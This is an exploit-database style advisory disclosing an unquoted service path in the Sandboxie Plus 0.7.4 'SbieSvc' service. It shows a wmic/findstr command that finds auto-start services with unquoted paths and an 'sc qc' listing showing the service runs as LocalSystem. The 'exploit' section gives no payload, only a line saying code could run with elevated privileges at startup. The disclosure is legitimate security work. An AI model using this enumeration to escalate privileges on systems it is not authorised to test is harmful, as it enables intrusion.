Sandboxie Plus 0.7.4 – ‘SbieSvc’ Unquoted Service Path

EXP

# Exploit Title: Sandboxie Plus 0.7.4 - 'SbieSvc' Unquoted Service Path
# Discovery by: Erick Galindo 
# Discovery Date: 2020-05-06
# Vendor Homepage: https://github.com/sandboxie-plus/Sandboxie/releases/download/0.7.4/Sandboxie-Plus-x64-v0.7.4.exe
# Tested Version: 0.7.4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es
# Step to discover Unquoted Service Path:

C:\wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i  "Sandboxie Service" | findstr /i /v """
Sandboxie Service    SbieSvc       C:\Program Files\Sandboxie-Plus\SbieSvc.exe                                        Auto 

# Service info

sc qc "SbieSvc"
SC QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SbieSvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Sandboxie-Plus\SbieSvc.exe
        GRUPO_ORDEN_CARGA  : UIGroup
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Sandboxie Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


#Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.